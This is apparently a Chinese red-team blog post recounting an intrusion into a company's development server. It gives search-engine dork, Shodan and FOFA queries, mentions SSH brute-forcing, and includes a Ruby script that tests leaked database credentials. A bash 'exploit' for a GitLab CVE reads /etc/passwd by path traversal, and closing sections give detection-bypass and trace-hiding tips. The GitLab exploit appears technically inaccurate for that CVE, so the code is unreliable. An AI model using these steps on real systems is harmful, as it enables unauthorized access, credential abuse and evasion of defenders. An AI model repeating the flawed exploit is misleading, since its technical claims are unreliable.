一、从一次渗透测试说起
某天接到任务,目标是一家互联网公司的研发服务器,红队的目标是获取该服务器的敏感数据并尝试横向渗透内网。通过初步分析,我们发现目标公司使用了一些常见的 Web 应用框架,服务器对外暴露了几个接口。战斗开始前,第一步就是信息收集,而洞网资源搜索是信息收集中最重要的环节之一。

在这次任务中,我们通过洞网搜索获得了:
- 目标公司几年前的 GitLab 漏洞历史;
- 多个泄露的配置文件,含敏感信息;
- 开发人员在 GitHub 上的代码库地址;
- 一个意外发现的测试域名,直通内网服务。
这些信息成为我们后续武器化攻击链中的关键节点。下面我会分享如何从公开互联网和“灰色空间”中挖掘资源,重现这次攻击链的完整过程。
---
二、洞网搜索的三大武器
要玩转洞网搜索,最基础的就是掌握几种高效的搜索工具。这里我挑三款我常用的工具详细讲解,它们分别是:Google Hacking、Shodan 和 FOFA。
1. Google Hacking 的深度玩法
原理: Google Hacking 是利用搜索引擎的高级搜索语法挖掘公开信息。目标网站的配置不当、敏感文件暴露、开发者的疏忽都会被搜索引擎“抓”到。这些“误暴露”的资源是我们最初的突破点。
常见语法清单
<pre><code class="language-text">site:example.com # 仅搜索目标网站的内容 filetype:xlsx # 限制搜索结果为 Excel 文件 intitle:"index of" # 搜索目录索引页面 inurl:login # URL 中包含 "login" 的页面</code></pre>
实战案例
在这次任务中,我使用了一些组合语法: <pre><code class="language-bash">site:target.com filetype:env site:target.com inurl:password intitle:"index of" "target.com"</code></pre> 结果:发现一个误上传的 .env 配置文件,里面居然包含数据库的用户名和密码。
更进一步,我们把搜索范围扩大到整个互联网,看看是否有目标公司相关的代码库或共享文件: <pre><code class="language-bash">site:github.com "target.com" site:pastebin.com target.com</code></pre> 结果:在 GitHub 上找到了一段关键代码,里面标注了一个内部接口 /api/deploy.
2. Shodan 的精准扫描
原理: Shodan 是一个专门扫描并索引互联网中暴露设备的搜索引擎,它甚至可以直接展示设备的 Banner 信息,比如开放端口、服务版本、SSL 证书等。
Shodan 搜索实战
<pre><code class="language-bash">title:"GitLab" hostname:"target.com" ssl.cert.subject.cn:*.target.com</code></pre> 结果:我们发现目标公司在一个未备案的子域名上暴露了 GitLab 服务,版本号是 12.10.6,存疑是否存在已知漏洞。
3. FOFA 的深层探测
原理: FOFA 是中国团队开发的互联网空间搜索引擎,可以用来检索 IP、域名、服务等信息。它的突出优势在于数据的更新和细化。
FOFA 搜索实战
<pre><code class="language-bash">domain="target.com" header="target" && port=22</code></pre> 结果:我们发现了一个开着 SSH 服务的 IP 地址,猜测是测试用途。后续通过暴力破解,还真拿到了测试环境的 root 权限。
---
三、扩展信息的武器化
我们已经通过洞网搜索收集到了大量资源,接下来是如何武器化这些信息,将它们变成攻击的切入点。
1. 敏感文件利用
在目标 .env 文件中,我们拿到了以下内容: <pre><code>DB_USER=db_admin DB_PASS=SuperSecretPassword123</code></pre>
利用思路:
- 测试是否能直接连接数据库;
- 扔到爆破工具里试试是否其他服务复用了这组凭据。
Ruby 爆破代码
<pre><code class="language-ruby">require 'net/http'
定义目标 URL 和数据库凭据
url = 'http://target.com/api/check' user = 'db_admin' pass = 'SuperSecretPassword123'
模拟爆破请求
uri = URI(url) http = Net::HTTP.new(uri.host, uri.port) request = Net::HTTP::Post.new(uri.path) request.set_form_data({ 'username' => user, 'password' => pass })
response = http.request(request) if response.body.include?('success') puts "[+] Credentials valid: #{user} / #{pass}" else puts "[-] Failed to login." end</code></pre>
2. GitLab 漏洞挖掘
我们发现目标的 GitLab 版本是 12.10.6,随后查询相关漏洞,发现了一个路径遍历漏洞(CVE-2020-10977),可以直接读取服务器上的任意文件。

EXP 实现
<pre><code class="language-shell">#!/bin/bash
定义目标地址和测试文件路径
TARGET="http://gitlab.target.com" FILE="../../../../../../etc/passwd"

构造漏洞 URL
URL="$TARGET/-/explore/projects/$FILE"
发起请求
curl -s "$URL"</code></pre>

结果:成功下载了 /etc/passwd 文件,确认服务器是 Ubuntu 系统,且开启了 SSH 服务。
---
四、绕过检测的核心思路
在实战中,洞网搜索和信息利用的过程中,我们经常会遇到目标开启了 WAF 或反爬机制。这里分享几个常用的绕过技巧:
1. 搜索引擎爬虫模拟
利用 Google 引擎抓取目标时,目标可能会识别你的爬虫行为,最简单的方式是伪装为 Google 爬虫: <pre><code class="language-bash">curl -A "Googlebot/2.1 (+http://www.google.com/bot.html)" http://target.com</code></pre>
2. 使用随机 Agent 和 Referer
<pre><code class="language-bash">curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -e "http://example.com" http://target.com</code></pre>
3. 分布式 IP 爬取
通过代理池分布式抓取,避免单 IP 被封禁。
---
五、个人经验:如何避免留痕
每一次攻击都可能被目标记录,下面是我的几个小技巧:
- 使用匿名 IP:通过 Tor 或商业代理隐藏真实 IP。
- 清理 HTTP Header:避免暴露 User-Agent 和 Referer。
- 定制化工具:尽量使用自己开发的工具,避免被防守方判定为经典工具行为。
---
六、总结
洞网资源搜索既是一门技术,也是一门艺术。在这次渗透测试中,我们充分利用了 Google Hacking、Shodan 和 FOFA 等工具,从海量的公开信息中挖掘出了关键资源。通过敏感文件的挖掘和 GitLab 漏洞的利用,我们成功拿到了目标的核心数据。希望我的分享能为大家在实战中提供一些参考。记住:红队的核心是思考,工具只是辅助,思路才是灵魂。